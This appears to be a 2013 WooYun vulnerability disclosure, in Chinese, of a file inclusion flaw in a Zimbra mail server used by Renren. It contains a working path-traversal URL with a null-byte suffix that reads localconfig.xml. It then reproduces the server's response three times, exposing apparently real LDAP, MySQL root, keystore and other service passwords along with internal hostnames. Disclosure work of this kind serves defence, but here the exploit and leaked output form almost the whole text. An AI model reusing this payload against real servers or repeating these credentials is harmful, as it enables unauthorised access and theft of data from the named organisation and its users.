当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-045800

漏洞标题:人人网任意文件包含致使某重要系统信息泄露

相关厂商:人人网

漏洞作者: 无尾熊

提交时间:2013-12-13 10:34

修复时间:2014-01-27 10:35

公开时间:2014-01-27 10:35

漏洞类型:文件包含

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-13: 细节已通知厂商并且等待厂商处理中
2013-12-13: 厂商已经确认,细节仅向厂商公开
2013-12-23: 细节向核心白帽子及相关领域专家公开
2014-01-02: 细节向普通白帽子公开
2014-01-12: 细节向实习白帽子公开
2014-01-27: 细节向公众公开

简要描述:

人人网某重要系统信息泄露

详细说明:

人人网邮件系统使用了开源的zimbra邮件系统,12月刚爆出来的0day 包件包含提权漏洞,未修复,致使可随意查看、下载敏感文件内容。如下:
访问这个地址:

http://mail.opi-corp.com/zimbra/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00


然后配置就出来了:
// Locale: en_US
// Basename: /res/I18nMsg
if (!window.I18nMsg) { I18nMsg = {}; }
a=I18nMsg;
a.currencyCode="USD";
a.currencySymbol="$";
a.eraAD="AD";
a.eraBC="BC";
a.firstDayOfWeek="1";
a.formatDateFull="EEEE, MMMM d, yyyy";
a.formatDateLong="MMMM d, yyyy";
a.formatDateMedium="MMM d, yyyy";
a.formatDateShort="M/d/yy";
a.formatDateTime="{0} {1}";
a.formatNumber="#,##0.###";
a.formatNumberCurrency="\u00a4#,##0.00;(\u00a4#,##0.00)";
a.formatNumberInteger="#,##0";
a.formatNumberPercent="#,##0%";
a.formatTimeFull="h:mm:ss a z";
a.formatTimeLong="h:mm:ss a z";
a.formatTimeMedium="h:mm:ss a";
a.formatTimeShort="h:mm a";
a.monthAprLong="April";
a.monthAprMedium="Apr";
a.monthAugLong="August";
a.monthAugMedium="Aug";
a.monthDecLong="December";
a.monthDecMedium="Dec";
a.monthFebLong="February";
a.monthFebMedium="Feb";
a.monthJanLong="January";
a.monthJanMedium="Jan";
a.monthJulLong="July";
a.monthJulMedium="Jul";
a.monthJunLong="June";
a.monthJunMedium="Jun";
a.monthMarLong="March";
a.monthMarMedium="Mar";
a.monthMayLong="May";
a.monthMayMedium="May";
a.monthNovLong="November";
a.monthNovMedium="Nov";
a.monthOctLong="October";
a.monthOctMedium="Oct";
a.monthSepLong="September";
a.monthSepMedium="Sep";
a.numberInfinity="\u221e";
a.numberNaN="\ufffd";
a.numberSeparatorDecimal=".";
a.numberSeparatorGrouping=",";
a.numberSeparatorMoneyDecimal=".";
a.numberSignMinus="-";
a.numberSignPerMill="\u2030";
a.numberSignPercent="%";
a.numberZero="0";
a.periodAm="AM";
a.periodPm="PM";
a.weekdayFriLong="Friday";
a.weekdayFriMedium="Fri";
a.weekdayMonLong="Monday";
a.weekdayMonMedium="Mon";
a.weekdaySatLong="Saturday";
a.weekdaySatMedium="Sat";
a.weekdaySunLong="Sunday";
a.weekdaySunMedium="Sun";
a.weekdayThuLong="Thursday";
a.weekdayThuMedium="Thu";
a.weekdayTueLong="Tuesday";
a.weekdayTueMedium="Tue";
a.weekdayWedLong="Wednesday";
a.weekdayWedMedium="Wed";
if (!window.I18nMsg) { I18nMsg = {}; }
a=I18nMsg;
a["<?xml"]="version=\"1.0\" encoding=\"UTF-8\"?>";
a["<localconfig>"]="";
a["<key"]="name=\"ldap_postfix_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_master_url\">";
a["<value>ldap"]="//mail.opi-corp.com:389</value>";
a["</key>"]="";
a["<key"]="name=\"mailboxd_keystore\">";
a["<value>/opt/zimbra/mailboxd/etc/keystore</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_maximal_queue_lifetime\">";
a["<value>1d</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_setgid_group\">";
a["<value>postdrop</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_amavis_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_java_home\">";
a["<value>/opt/zimbra/java</value>"]="";
a["</key>"]="";
a["<key"]="name=\"smtp_source\">";
a["<value>admin@opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_bounce_queue_lifetime\">";
a["<value>30m</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_gid\">";
a["<value>500</value>"]="";
a["</key>"]="";
a["<key"]="name=\"av_notify_domain\">";
a["<value>opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"smtp_destination\">";
a["<value>admin@opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_java_heap_size\">";
a["<value>4812</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_url\">";
a["<value>ldap"]="//mail.opi-corp.com:389</value>";
a["</key>"]="";
a["<key"]="name=\"ldap_is_master\">";
a["<value>true</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_mail_owner\">";
a["<value>postfix</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_mydestination\">";
a["<value>localhost"]="opi-corp.com</value>";
a["</key>"]="";
a["<key"]="name=\"ldap_starttls_supported\">";
a["<value>1</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_replication_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zmtrainsa_cleanup_host\">";
a["<value>true</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_root_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_directory\">";
a["<value>/opt/zimbra/mailboxd</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_server\">";
a["<value>jetty</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_ldap_userdn\">";
a["<value>uid"]="zimbra,cn=admins,cn=zimbra</value>";
a["</key>"]="";
a["<key"]="name=\"av_notify_user\">";
a["<value>admin@opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_mysql_connector_maxActive\">";
a["<value>100</value>"]="";
a["</key>"]="";
a["<key"]="name=\"smtp_notify\">";
a["<value>yes</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_nginx_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_zmprov_default_to_ldap\">";
a["<value>false</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_require_interprocess_security\">";
a["<value>1</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_uid\">";
a["<value>500</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_keystore_password\">";
a["<value>Z3mFRosOJ</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_host\">";
a["<value>mail.opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_truststore\">";
a["<value>/opt/zimbra/java/jre/lib/security/cacerts</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_mysql_password\">";
a["<value>cVQuFGB2dmugf4w8pxU0Hbxc8</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_alias_maps\">";
a["<value>hash"]="/etc/aliases,hash:/opt/zimbra/mailman/data/aliases</value>";
a["</key>"]="";
a["<key"]="name=\"zimbra_ldap_password\">";
a["<value>wIFICIQq</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_port\">";
a["<value>389</value>"]="";
a["</key>"]="";
a["<key"]="name=\"snmp_notify\">";
a["<value>yes</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ssl_allow_mismatched_certs\">";
a["<value>true</value>"]="";
a["</key>"]="";
a["<key"]="name=\"snmp_trap_host\">";
a["<value>mail.opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mysql_root_password\">";
a["<value>3kg1LRDlr1u_V12CwDtYEfwbSRvN</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_user\">";
a["<value>zimbra</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_truststore_password\">";
a["<value>changeit</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_virtual_alias_maps\">";
a["<value>proxy"]="ldap:/opt/zimbra/conf/ldap-vam.cf,hash:/opt/zimbra/mailman/data/virtual-mailman</value>";
a["</key>"]="";
a["<key"]="name=\"ssl_allow_untrusted_certs\">";
a["<value>false</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_server_hostname\">";
a["<value>mail.opi-corp.com</value>"]="";
a["</key>"]="";
a["</localconfig>"]="";
if (!window.I18nMsg) { I18nMsg = {}; }
a=I18nMsg;
a["<?xml"]="version=\"1.0\" encoding=\"UTF-8\"?>";
a["<localconfig>"]="";
a["<key"]="name=\"ldap_postfix_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_master_url\">";
a["<value>ldap"]="//mail.opi-corp.com:389</value>";
a["</key>"]="";
a["<key"]="name=\"mailboxd_keystore\">";
a["<value>/opt/zimbra/mailboxd/etc/keystore</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_maximal_queue_lifetime\">";
a["<value>1d</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_setgid_group\">";
a["<value>postdrop</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_amavis_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_java_home\">";
a["<value>/opt/zimbra/java</value>"]="";
a["</key>"]="";
a["<key"]="name=\"smtp_source\">";
a["<value>admin@opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_bounce_queue_lifetime\">";
a["<value>30m</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_gid\">";
a["<value>500</value>"]="";
a["</key>"]="";
a["<key"]="name=\"av_notify_domain\">";
a["<value>opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"smtp_destination\">";
a["<value>admin@opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_java_heap_size\">";
a["<value>4812</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_url\">";
a["<value>ldap"]="//mail.opi-corp.com:389</value>";
a["</key>"]="";
a["<key"]="name=\"ldap_is_master\">";
a["<value>true</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_mail_owner\">";
a["<value>postfix</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_mydestination\">";
a["<value>localhost"]="opi-corp.com</value>";
a["</key>"]="";
a["<key"]="name=\"ldap_starttls_supported\">";
a["<value>1</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_replication_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zmtrainsa_cleanup_host\">";
a["<value>true</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_root_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_directory\">";
a["<value>/opt/zimbra/mailboxd</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_server\">";
a["<value>jetty</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_ldap_userdn\">";
a["<value>uid"]="zimbra,cn=admins,cn=zimbra</value>";
a["</key>"]="";
a["<key"]="name=\"av_notify_user\">";
a["<value>admin@opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_mysql_connector_maxActive\">";
a["<value>100</value>"]="";
a["</key>"]="";
a["<key"]="name=\"smtp_notify\">";
a["<value>yes</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_nginx_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_zmprov_default_to_ldap\">";
a["<value>false</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_require_interprocess_security\">";
a["<value>1</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_uid\">";
a["<value>500</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_keystore_password\">";
a["<value>Z3mFRosOJ</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_host\">";
a["<value>mail.opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_truststore\">";
a["<value>/opt/zimbra/java/jre/lib/security/cacerts</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_mysql_password\">";
a["<value>cVQuFGB2dmugf4w8pxU0Hbxc8</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_alias_maps\">";
a["<value>hash"]="/etc/aliases,hash:/opt/zimbra/mailman/data/aliases</value>";
a["</key>"]="";
a["<key"]="name=\"zimbra_ldap_password\">";
a["<value>wIFICIQq</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_port\">";
a["<value>389</value>"]="";
a["</key>"]="";
a["<key"]="name=\"snmp_notify\">";
a["<value>yes</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ssl_allow_mismatched_certs\">";
a["<value>true</value>"]="";
a["</key>"]="";
a["<key"]="name=\"snmp_trap_host\">";
a["<value>mail.opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mysql_root_password\">";
a["<value>3kg1LRDlr1u_V12CwDtYEfwbSRvN</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_user\">";
a["<value>zimbra</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_truststore_password\">";
a["<value>changeit</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_virtual_alias_maps\">";
a["<value>proxy"]="ldap:/opt/zimbra/conf/ldap-vam.cf,hash:/opt/zimbra/mailman/data/virtual-mailman</value>";
a["</key>"]="";
a["<key"]="name=\"ssl_allow_untrusted_certs\">";
a["<value>false</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_server_hostname\">";
a["<value>mail.opi-corp.com</value>"]="";
a["</key>"]="";
a["</localconfig>"]="";
if (!window.I18nMsg) { I18nMsg = {}; }
a=I18nMsg;
a["<?xml"]="version=\"1.0\" encoding=\"UTF-8\"?>";
a["<localconfig>"]="";
a["<key"]="name=\"ldap_postfix_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_master_url\">";
a["<value>ldap"]="//mail.opi-corp.com:389</value>";
a["</key>"]="";
a["<key"]="name=\"mailboxd_keystore\">";
a["<value>/opt/zimbra/mailboxd/etc/keystore</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_maximal_queue_lifetime\">";
a["<value>1d</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_setgid_group\">";
a["<value>postdrop</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_amavis_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_java_home\">";
a["<value>/opt/zimbra/java</value>"]="";
a["</key>"]="";
a["<key"]="name=\"smtp_source\">";
a["<value>admin@opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_bounce_queue_lifetime\">";
a["<value>30m</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_gid\">";
a["<value>500</value>"]="";
a["</key>"]="";
a["<key"]="name=\"av_notify_domain\">";
a["<value>opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"smtp_destination\">";
a["<value>admin@opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_java_heap_size\">";
a["<value>4812</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_url\">";
a["<value>ldap"]="//mail.opi-corp.com:389</value>";
a["</key>"]="";
a["<key"]="name=\"ldap_is_master\">";
a["<value>true</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_mail_owner\">";
a["<value>postfix</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_mydestination\">";
a["<value>localhost"]="opi-corp.com</value>";
a["</key>"]="";
a["<key"]="name=\"ldap_starttls_supported\">";
a["<value>1</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_replication_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zmtrainsa_cleanup_host\">";
a["<value>true</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_root_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_directory\">";
a["<value>/opt/zimbra/mailboxd</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_server\">";
a["<value>jetty</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_ldap_userdn\">";
a["<value>uid"]="zimbra,cn=admins,cn=zimbra</value>";
a["</key>"]="";
a["<key"]="name=\"av_notify_user\">";
a["<value>admin@opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_mysql_connector_maxActive\">";
a["<value>100</value>"]="";
a["</key>"]="";
a["<key"]="name=\"smtp_notify\">";
a["<value>yes</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_nginx_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_zmprov_default_to_ldap\">";
a["<value>false</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_require_interprocess_security\">";
a["<value>1</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_uid\">";
a["<value>500</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_keystore_password\">";
a["<value>Z3mFRosOJ</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_host\">";
a["<value>mail.opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_truststore\">";
a["<value>/opt/zimbra/java/jre/lib/security/cacerts</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_mysql_password\">";
a["<value>cVQuFGB2dmugf4w8pxU0Hbxc8</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_alias_maps\">";
a["<value>hash"]="/etc/aliases,hash:/opt/zimbra/mailman/data/aliases</value>";
a["</key>"]="";
a["<key"]="name=\"zimbra_ldap_password\">";
a["<value>wIFICIQq</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_port\">";
a["<value>389</value>"]="";
a["</key>"]="";
a["<key"]="name=\"snmp_notify\">";
a["<value>yes</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ssl_allow_mismatched_certs\">";
a["<value>true</value>"]="";
a["</key>"]="";
a["<key"]="name=\"snmp_trap_host\">";
a["<value>mail.opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mysql_root_password\">";
a["<value>3kg1LRDlr1u_V12CwDtYEfwbSRvN</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_user\">";
a["<value>zimbra</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_truststore_password\">";
a["<value>changeit</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_virtual_alias_maps\">";
a["<value>proxy"]="ldap:/opt/zimbra/conf/ldap-vam.cf,hash:/opt/zimbra/mailman/data/virtual-mailman</value>";
a["</key>"]="";
a["<key"]="name=\"ssl_allow_untrusted_certs\">";
a["<value>false</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_server_hostname\">";
a["<value>mail.opi-corp.com</value>"]="";
a["</key>"]="";
a["</localconfig>"]="";
// Basename: /res/AjxMsg
if (!window.AjxMsg) { AjxMsg = {}; }
a=AjxMsg;
a.formatCalDate="EEE, MMM d";
a.formatCalDateLong="EEEE, MMMM d";
a.formatCalDateFull="EEEE, MMMM d, yyyy";
a.formatCalHour="{0,choice,0#Midnight|1#{1,time,h a}|12#Noon|13#{1,time,h a}|24#Midnight}";
a.formatCalDay="M/d ";
a.formatCalMonth="MMMM yyyy";
a.formatShortCalMonth="MMM yyyy";
a.formatDateMediumNoYear="MMM dd ";
a.formatWordyDateToday="'Today,' h:mm a";
a.formatWordyDateYesterday="'Yesterday,' h:mm a";
a.formatWordyDate="EEE, M/d/yy, h:mm a";
a.dateParsing2DigitStartYear="1936";
a.listSeparator=", ";
a.listSeparatorLast=" and ";
a.forwardedMessage="Forwarded Message";
a.origMsg="Original Message";
a.colorBlue="#5b9bf2";
a.colorCyan="#43eded";
a.colorGray="#bebebe";
a.colorGreen="#6acb9e";
a.colorOrange="#fdbc55";
a.colorPink="#fe98d3";
a.colorPurple="#ba86e5";
a.colorRed="#f66666";
a.colorYellow="#f8fa33";
a.colorsCustom="Custom Colors";
a.colorsStandard="Standard Colors";
a.colorsUseDefault="Use Default Color";
a.ago="ago";
a.day="day";
a.days="days";
a.hour="hour";
a.hours="hours";
a.minute="minute";
a.minutes="minutes";
a.month="month";
a.months="months";
a.second="second";
a.seconds="seconds";
a.week="week";
a.weeks="weeks";
a.year="year";
a.years="years";
a.yesterday="yesterday";
a.today="today";
a.tomorrow="tomorrow";
a.cancel="Cancel";
a.detail="Detail";
a.dismiss="Dismiss";
a.no="No";
a.noResults="No results found.";
a.ok="OK";
a.yes="Yes";
a.addAll="Add All";
a.add="Add";
a.remove="Remove";
a.removeAll="Remove All";
a.select="Select";
a.criticalMsg="Critical";
a.infoMsg="Informational";
a.warningMsg="Warning";
a.workInProgress="Work In Progress";
a.cancelRequest="Cancel Request";
a.showPassword="Show password";
a.loading="Loading...";
a.confirmTitle="Confirmation";
a._next="Next";
a._prev="Previous";
a._finish="Finish";
a._close="Close";
a.weekdaySunShort="S";
a.weekdayMonShort="M";
a.weekdayTueShort="T";
a.weekdayWedShort="W";
a.weekdayThuShort="T";
a.weekdayFriShort="F";
a.weekdaySatShort="S";
a.monthJanShort="J";
a.monthFebShort="F";
a.monthMarShort="M";
a.monthAprShort="A";
a.monthMayShort="M";
a.monthJunShort="J";
a.monthJulShort="J";
a.monthAugShort="A";
a.monthSepShort="S";
a.monthOctShort="O";
a.monthNovShort="N";
a.monthDecShort="D";
a.calendarWeekTitle="W";
a["timezoneNameAuto-DetectedLong"]="Auto-Detected";
a["timezoneNameAuto-DetectedShort"]="Auto";
a.valueIsRequired="Value is required";
a.notAString="Value must be a text string.";
a.stringLenWrong="Value must be exactly {0} characters long.";
a.stringTooShort="Value must be at least {0} characters long.";
a.stringTooLong="Value must be no more than {0} characters long.";
a.stringMismatch="Value did not match valid values.";
a.invalidEmailAddr="Value is not a valid email address.";
a.invalidEmailAddrValue="{0} is not a valid email address.";
a.notANumber="Value must be a number.";
a.notAnInteger="Value must be an integer.";
a.numberTotalExceeded="Whole digits exceeds total of {0}.";
a.numberFractionExceeded="Fractional digits exceeds total of {0}.";
a.numberMoreThanMax="Value must be less than or equal to {0}.";
a.numberMoreThanEqualMax="Value must be less than {0}.";
a.numberLessThanMin="Value must be greater than or equal to {0}.";
a.numberLessThanEqualMin="Value must be greater than {0}.";
a.numberMustBeNon0Percent="Value must be a percentage between 1 and 100";
a.percentageString="{0}%";
a.setColor="Set";
a.colorFormatError="Value must be in the form: <br>#112233 or rgb(11,22,33)";
a.previewResult="Preview Result:";
a.xFnumberMoreThanMax="Value must be less than or equal to {0}.";
a.XfnumberLessThanMin="Value must be greater than or equal to {0}.";
a.invalidDateString="Date value must be entered in the form: MM/DD/YYYY or \"today\", \"yesterday\" or \"tomorrow\".";
a.invalidTimeString="Time value must be entered in the form: HH:MM[:SS] [AM|PM]";
a.invalidDatetimeString="Date format not understood.";
a.didNotMatchChoice="Value '{0}' did not match any values for this type.";
a.xformRepeatAdd="+";
a.xformRepeatRemove="-";
a.xformDateTimeFormat="{0,date} at {0,time}";
a.xformFontColor="Font Color";
a.sizeGigaBytes="GB";
a.sizeMegaBytes="MB";
a.sizeKiloBytes="KB";
a.sizeBytes="B";
a.formatSizeAndUnits="{0} {1}";
a["Africa/Algiers"]="GMT +01:00 West Central Africa";
a["America/Asuncion"]="GMT -04:00 Asuncion ";
a["Africa/Cairo"]="GMT +02:00 Egypt";
a["Africa/Casablanca"]="GMT +00:00 Casablanca";
a["Africa/Monrovia"]="GMT +00:00 Monrovia";
a["Africa/Harare"]="GMT +02:00 Harare, Pretoria";
a["Africa/Nairobi"]="GMT +03:00 Nairobi";
a["Africa/Windhoek"]="GMT +01:00 Namibia";
a["America/Bogota"]="GMT -05:00 Colombia";
a["America/Argentina/Buenos_Aires"]="GMT -03:00 Argentina";
a["America/Caracas"]="GMT -04:30 Caracas";
a["America/Cayenne"]="GMT -03:00 Cayenne, Fortaleza";
a["America/Chihuahua"]="GMT -07:00 Chihuahua, La Paz, Mazatlan";
a["America/Cuiaba"]="GMT -04:00 Cuiaba";
a["America/Godthab"]="GMT -03:00 Greenland";
a["America/Guatemala"]="GMT -06:00 Central America";
a["America/Guyana"]="GMT -04:00 Georgetown, La Paz, Manaus, San Juan";
a["America/La_Paz"]="GMT -04:00 La Paz";
a["America/Manaus"]="GMT -04:00 Manaus";
a["America/Mexico_City"]="GMT -06:00 Guadalajara, Mexico City, Monterrey";
a["America/Montevideo"]="GMT -03:00 Montevideo";
a["America/Santiago"]="GMT -04:00 Pacific South America";
a["America/Tijuana"]="GMT -08:00 Baja California";
a["Asia/Almaty"]="GMT +06:00 Astana";
a["Asia/Amman"]="GMT +02:00 Jordan";
a["Asia/Baghdad"]="GMT +03:00 Iraq";
a["Asia/Baku"]="GMT +04:00 Baku";
a["Asia/Bangkok"]="GMT +07:00 Bangkok, Hanoi, Jakarta";
a["Asia/Beirut"]="GMT +02:00 Beirut";
a["Asia/Kolkata"]="GMT +05:30 Chennai, Kolkata, Mumbai, New Delhi";
a["Asia/Colombo"]="GMT +05:30 Sri Jayawardenepura";
a["Asia/Dhaka"]="GMT +06:00 Dhaka";
a["Asia/Hong_Kong"]="GMT +08:00 Beijing, Chongqing, Hong Kong, Urumqi";
a["Asia/Irkutsk"]="GMT +08:00 Irkutsk";
a["Asia/Jerusalem"]="GMT +02:00 Jerusalem";
a["Asia/Kabul"]="GMT +04:30 Kabul";
a["Asia/Kamchatka"]="GMT +12:00 Petropavlovsk-Kamchatsky";
a["Asia/Karachi"]="GMT +05:00 Islamabad, Karachi";
a["Asia/Katmandu"]="GMT +05:45 Kathmandu";
a["Asia/Krasnoyarsk"]="GMT +07:00 Krasnoyarsk";
a["Asia/Kuala_Lumpur"]="GMT +08:00 Kuala Lumpur, Singapore";
a["Asia/Kuwait"]="GMT +03:00 Kuwait, Riyadh";
a["Asia/Magadan"]="GMT +11:00 Magadan, Solomon Is., New Caledonia";
a["Asia/Muscat"]="GMT +04:00 Abu Dhabi, Muscat";
a["Asia/Novosibirsk"]="GMT +06:00 Novosibirsk";
a["Asia/Rangoon"]="GMT +06:30 Rangoon";
a["Asia/Seoul"]="GMT +09:00 Korea";
a["Asia/Taipei"]="GMT +08:00 Taipei";
a["Asia/Tashkent"]="GMT +05:00 Tashkent";
a["Asia/Tbilisi"]="GMT +04:00 Tbilisi";
a["Asia/Tehran"]="GMT +03:30 Tehran";
a["Asia/Tokyo"]="GMT +09:00 Japan";
a["Asia/Ulaanbaatar"]="GMT +08:00 Ulaanbaatar";
a["Asia/Vladivostok"]="GMT +10:00 Vladivostok";
a["Asia/Yakutsk"]="GMT +09:00 Yakutsk";
a["Asia/Yekaterinburg"]="GMT +05:00 Yekaterinburg";
a["Asia/Yerevan"]="GMT +04:00 Yerevan";
a["Atlantic/Azores"]="GMT -01:00 Azores";
a["Atlantic/Cape_Verde"]="GMT -01:00 Cape Verde Is.";
a["Atlantic/South_Georgia"]="GMT -02:00 Mid-Atlantic";
a["Australia/Adelaide"]="GMT +09:30 Adelaide";
a["Australia/Brisbane"]="GMT +10:00 Brisbane";
a["Australia/Darwin"]="GMT +09:30 Darwin";
a["Australia/Hobart"]="GMT +10:00 Hobart";
a["Australia/Perth"]="GMT +08:00 Perth";
a["Australia/Sydney"]="GMT +10:00 Canberra, Melbourne, Sydney";
a["America/Sao_Paulo"]="GMT -03:00 Brasilia";
a["America/Halifax"]="GMT -04:00 Atlantic Time (Canada)";
a["America/St_Johns"]="GMT -03:30 Newfoundland";
a["America/Regina"]="GMT -06:00 Saskatchewan";
a["Etc/GMT-12"]="GMT +12:00 GMT+12";
a["Etc/GMT+11"]="GMT -11:00 GMT-11";
a["Etc/GMT+12"]="GMT -12:00 Dateline";
a["Etc/GMT+2"]="GMT -02:00 GMT-02";
a.UTC="GMT/UTC Coordinated Universal Time";
a["Europe/Athens"]="GMT +02:00 Athens, Beirut, Bucharest, Istanbul";
a["Europe/Belgrade"]="GMT +01:00 Belgrade, Bratislava, Budapest, Ljubljana, Prague";
a["Europe/Berlin"]="GMT +01:00 Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna";
a["Europe/Brussels"]="GMT +01:00 Brussels, Copenhagen, Madrid, Paris";
a["Europe/Helsinki"]="GMT +02:00 Helsinki, Kyiv, Riga, Sofia, Tallinn, Vilnius";
a["Europe/London"]="GMT +00:00 Britain, Ireland, Portugal";
a["Europe/Minsk"]="GMT +02:00 Minsk";
a["Europe/Moscow"]="GMT +03:00 Moscow, St. Petersburg, Volgograd";
a["Europe/Warsaw"]="GMT +01:00 Sarajevo, Skopje, Warsaw, Zagreb";
a["Indian/Mauritius"]="GMT +04:00 Port Louis";
